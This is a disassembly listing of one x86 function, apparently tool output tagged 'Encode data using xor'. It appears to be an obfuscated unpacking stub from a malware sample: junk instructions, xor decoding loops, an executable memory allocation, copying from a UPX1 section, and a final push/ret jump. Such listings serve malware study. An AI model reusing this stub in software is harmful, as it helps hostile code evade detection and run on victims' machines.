Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x428a8cb2
add ecx, 0xe1d43337
mov ecx, esi
popal
inc ecx
mov ecx, 0x4476bbb5
mov esi, 0
mov ebx, ecx
add eax, eax
inc edx
mov eax, edx
mov edi, ebx
not eax
not eax
inc eax
mov ecx, edi
sub edx, eax
add edx, 0xaa844dbd
not edx
inc esi
not edx
mov edx, eax
sub eax, 0xda4cf359
cmp esi, 0x100d2f7
jne 0xa789c6
add edx, 0x171c6736
not eax
mov ecx, 0x1d0800af
mov ecx, 0x19e463ec
mov edi, 0xa78796
sub ebx, edx
not eax
add ebx, ebx
mov ecx, 0xa7898a
sub eax, 0x80f003c3
add edx, 0xad4e9034
mov esi, dword [edi]
add ebx, eax
add ebx, 0x74076b03
and esi, 0xff
mov edx, 0xa228a359
dec edx
dec ebx
xor dword [ecx], esi
not ebx
add edx, 0x6bbd7e70
sub edx, 1
inc ecx
not edx
sub ebx, 0x747a6580
inc edi
sub eax, edx
sub edx, 0x20b406b5
cmp ecx, entry0
jl 0xa78a25
mov ebx, 0x5a13d590
add edx, edx
add ebx, 0xc5ed8578
add ebx, 0xb202bf01
not edx
sub ebx, 0x12caaa74
not ebx
mov edx, 0xa7898e
mov ebx, 0xb5dc750f
sub edi, ebx
mov edx, dword [edx]
add ecx, ecx
mov edi, 0x78cb9d03
not ebx
mov edx, dword [edx]
sub edi, 1
sub esi, 0x75763a0a
push edx
sub ecx, 0xc655d698
mov ebx, 0xc9eb2538
not ecx
mov edx, 0xa7898a
dec ecx
sub ebx, ecx
mov esi, 0xa4f2f74d
mov edx, dword [edx]
or edi, ecx
add esi, 0x56f2998a
mov edx, dword [edx]
add edi, 0x3330937e
or ecx, ecx
sub ebx, 0xc74a1aba
push 0xa78992
sub ecx, 1
add ecx, esi
inc esi
call edx
mov edi, ebx
not ebx
add esi, esi
pop edx
mov ecx, esi
add esi, 0x5f218934
sub ebx, esi
sub esp, 4
mov dword [esp], 0xa7899f
sub edi, 0xdb97d14c
mov ecx, 0x7ceb175b
push eax
add edi, esi
and ecx, ecx
sub ecx, 0xfa7e9d74
call edx
mov esi, 0xca8d180
sub ebx, edi
push 0x40
add ebx, 1
or esi, esi
sub ebx, 1
push 0x3000
mov edi, 0xaa7fdc2d
add edi, edi
push 0x200008b7
dec ecx
mov edi, 0x725fd9c4
sub ecx, esi
sub esp, 4
mov dword [esp], 0
dec edi
add esi, edi
mov edi, esi
call eax
sub ebx, 0x4252bab7
sub ebx, 0xa4740b10
add eax, 0x20000840
inc ecx
add edi, 0x3ee43dd4
sub esi, 0x344b1488
mov edx, 0x46a99169
sub ecx, edi
sub edi, 0xbf9e17a4
mov ecx, 0x46c1b31d
mov dword [eax], edx
mov edi, ecx
mov edi, 0xc35bb6d4
add ebx, 0x2af98836
mov edx, dword [eax]
add ebx, ecx
sub ecx, 0xb5d41b47
cmp edx, 0x46a99169
je 0xa78bc1
mov eax, 0
mov bl, byte [eax]
mov edi, ebx
not ecx
and ebx, ecx
add esi, ecx
add esi, ebx
add ecx, 1
mov esi, 0x233e1128
and esi, ecx
mov edx, section.UPX1
add ecx, ecx
sub esi, ecx
mov eax, 0xa78795
sub ecx, esi
not ecx
add esi, ecx
mov edi, 0
mov ecx, esi
add esi, 0x1c862d1f
mov ebx, 0xa78796
add esi, esi
mov esi, ecx
lea ebx, [edi + ebx]
and ecx, esi
add ecx, esi
mov ecx, esi
mov ebx, dword [ebx]
or esi, esi
not ecx
not ecx
and ebx, 0xff
sub esi, ecx
mov ecx, esi
inc edi
sub ecx, 1
mov esi, ecx
sub ecx, esi
cmp edi, 0x1f4
jne 0xa78c35
mov edi, 0
or esi, ecx
sub ecx, 0x72adb79f
not ecx
mov ecx, esi
inc ecx
xor dword [edx], ebx
inc esi
sub ecx, 0x6bdb3fab
not ecx
add edx, 2
or esi, ecx
inc esi
or esi, ecx
cmp edx, eax
jl 0xa78bf9
add ecx, 0xb21e011f
sub ecx, 0x6930ed46
and esi, ecx
add esi, ecx
not esi
mov edx, section.UPX1
or ecx, ecx
sub edi, 0x915f2c2e
mov ebx, section.UPX1
sub ecx, 0x521fde89
and ecx, edi
inc edi
mov esi, 0xa78795
inc edi
add edi, ecx
mov edi, 0x1e93e971
mov eax, 0
sub edi, ecx
mov edi, 0x616cd6b2
mov al, byte [ebx]
inc ecx
and edi, ecx
mov byte [edx], al
sub ecx, edi
sub edi, 0xe328cb8b
inc edx
mov ecx, edi
mov ecx, edi
add ebx, 2
and edi, ecx
and ecx, ecx
dec edi
cmp ebx, esi
jle 0xa78ca6
sub ecx, 1
dec ecx
mov ecx, esi
and esi, esi
push 0x8dc6a0
sub esi, ecx
sub ecx, 1
or esi, ecx
ret